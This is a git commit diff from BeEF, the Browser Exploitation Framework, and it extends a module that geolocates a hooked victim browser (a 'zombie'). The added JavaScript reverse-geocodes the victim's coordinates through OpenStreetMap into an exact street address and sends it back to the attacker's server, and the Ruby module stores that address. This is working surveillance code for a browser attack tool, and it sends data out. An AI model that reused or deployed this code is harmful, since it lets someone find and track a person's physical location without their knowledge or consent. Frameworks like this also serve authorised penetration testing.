added OpenStreetMap reverse for geolocation module
git-svn-id: https://beef.googlecode.com/svn/trunk@527 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -12,6 +12,26 @@ beef.geolocation = {
|
|||||||
return !!navigator.geolocation;
|
return !!navigator.geolocation;
|
||||||
},
|
},
|
||||||
|
|
||||||
|
/*
|
||||||
|
* given latitude/longitude retrieves exact street position of the zombie
|
||||||
|
*/
|
||||||
|
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
|
||||||
|
beef.net.request(
|
||||||
|
'http://nominatim.openstreetmap.org/reverse?format=json&lat=' + latitude + '&lon=' + longitude + '&zoom=18&addressdetails=1',
|
||||||
|
'GET',
|
||||||
|
function(response) {
|
||||||
|
if(response.length > 0) {
|
||||||
|
var jsonData = JSON.parse(response);
|
||||||
|
beef.net.sendback(command_url, command_id, "latitude=" + latitude
|
||||||
|
+ "&longitude=" + longitude
|
||||||
|
+ "&openStreetMap=" + escape(jsonData.display_name)
|
||||||
|
+ "&geoLocEnabled=True");
|
||||||
|
}
|
||||||
|
},
|
||||||
|
''
|
||||||
|
);
|
||||||
|
},
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* retrieve latitude/longitude using the geolocation API
|
* retrieve latitude/longitude using the geolocation API
|
||||||
*/
|
*/
|
||||||
@@ -26,7 +46,7 @@ beef.geolocation = {
|
|||||||
function(position){ // success
|
function(position){ // success
|
||||||
var latitude = position.coords.latitude;
|
var latitude = position.coords.latitude;
|
||||||
var longitude = position.coords.longitude;
|
var longitude = position.coords.longitude;
|
||||||
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude + "&geoLocEnabled=True");
|
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
|
||||||
|
|
||||||
}, function(error){ // failure
|
}, function(error){ // failure
|
||||||
switch(error.code) // Returns 0-3
|
switch(error.code) // Returns 0-3
|
||||||
|
|||||||
@@ -28,6 +28,7 @@ class Physical_location < BeEF::Command
|
|||||||
content['Geolocation Enabled'] = @datastore['geoLocEnabled']
|
content['Geolocation Enabled'] = @datastore['geoLocEnabled']
|
||||||
content['Latitude'] = @datastore['latitude']
|
content['Latitude'] = @datastore['latitude']
|
||||||
content['Longitude'] = @datastore['longitude']
|
content['Longitude'] = @datastore['longitude']
|
||||||
|
content['Open Street Map Address'] = @datastore['openStreetMap']
|
||||||
save content
|
save content
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user